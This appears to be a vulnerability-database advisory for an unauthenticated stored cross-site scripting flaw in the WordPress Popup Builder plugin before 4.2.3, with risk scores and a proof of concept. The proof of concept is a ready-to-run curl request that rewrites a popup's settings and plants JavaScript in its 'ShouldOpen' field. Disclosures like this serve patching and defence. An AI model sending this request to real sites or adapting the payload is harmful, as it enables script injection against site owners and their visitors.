Lucene search

K
wpvulndbMarc MontpasWPVDB-ID:CDB3A8BD-4EE0-4CE0-9029-0490273BCFC8
HistoryDec 11, 2023 - 12:00 a.m.

Popup Builder < 4.2.3 - Unauthenticated Stored XSS

2023-12-1100:00:00
Marc Montpas
wpscan.com
32
popup builder
unauthenticated
stored xss
visitors
popups
injected javascript

8.7 High

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.1%

Description The plugin does not prevent simple visitors from updating existing popups, and injecting raw JavaScript in them, which could lead to Stored XSS attacks.

PoC

  1. Create a popup using the plugin 2) Run the following curl command, switching $POPUPID with that popup’s ID: curl --url 'http://vulnerable-site.tld/' --data 'sgpb-is-preview=1&amp;blah;[name]=sgpb-is-preview&amp;blah;[value]=0&amp;post;_ID=$POPUPID&amp;sgpb-target;%5B0%5D%5B0%5D%5Bparam%5D=everywhere&amp;sgpb-type;=html&amp;sgpb-is-active;=checked&amp;sgpb-events;%5B0%5D%5B0%5D%5Bparam%5D=load&amp;sgpb-events;%5B0%5D%5B0%5D%5Bvalue%5D=&amp;sgpb-behavior-after-special-events;%5B0%5D%5B0%5D%5Bparam%5D=contact-form-7&amp;sgpb-behavior-after-special-events;%5B0%5D%5B0%5D%5Boperator%5D=redirect-url&amp;sgpb-behavior-after-special-events;%5B0%5D%5B0%5D%5Bvalue%5D=https%3A%2F%2Fexample.com&amp;sgpb-popup-z-index;=9999&amp;sgpb-popup-themes;=sgpb-theme-1&amp;sgpb-overlay-color;=&amp;sgpb-overlay-opacity;=0.8&amp;sgpb-content-custom-class;=sg-popup-content&amp;sgpb-esc-key;=on&amp;sgpb-enable-close-button;=on&amp;sgpb-close-button-delay;=0&amp;sgpb-close-button-position;=bottomRight&amp;sgpb-button-position-top;=&amp;sgpb-button-position-right;=9&amp;sgpb-button-position-bottom;=9&amp;sgpb-button-position-left;=&amp;sgpb-button-image;=&amp;sgpb-button-image-width;=21&amp;sgpb-button-image-height;=21&amp;sgpb-border-color;=%23000000&amp;sgpb-border-radius;=0&amp;sgpb-border-radius-type;=%25&amp;sgpb-button-text;=Close&amp;sgpb-overlay-click;=on&amp;sgpb-popup-dimension-mode;=responsiveMode&amp;sgpb-responsive-dimension-measure;=auto&amp;sgpb-width;=640px&amp;sgpb-height;=480px&amp;sgpb-max-width;=&amp;sgpb-max-height;=&amp;sgpb-min-width;=120px&amp;sgpb-min-height;=&amp;sgpb-copy-to-clipboard-message;=Copied+to+Clipboard%21&amp;sgpb-open-animation-effect;=No+effect&amp;sgpb-close-animation-effect;=No+effect&amp;sgpb-enable-content-scrolling;=on&amp;sgpb-popup-order;=0&amp;sgpb-popup-delay;=0&amp;sgpb-ShouldOpen;=alert%28document.domain%29%3B&amp;sgpb-WillOpen;=&amp;sgpb-DidOpen;=&amp;sgpb-ShouldClose;=&amp;sgpb-WillClose;=&amp;sgpb-DidClose;=&amp;sgpb-css-editor;=' 3) Visit the site
CPENameOperatorVersion
eq4.2.3

8.7 High

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.1%

Related for WPVDB-ID:CDB3A8BD-4EE0-4CE0-9029-0490273BCFC8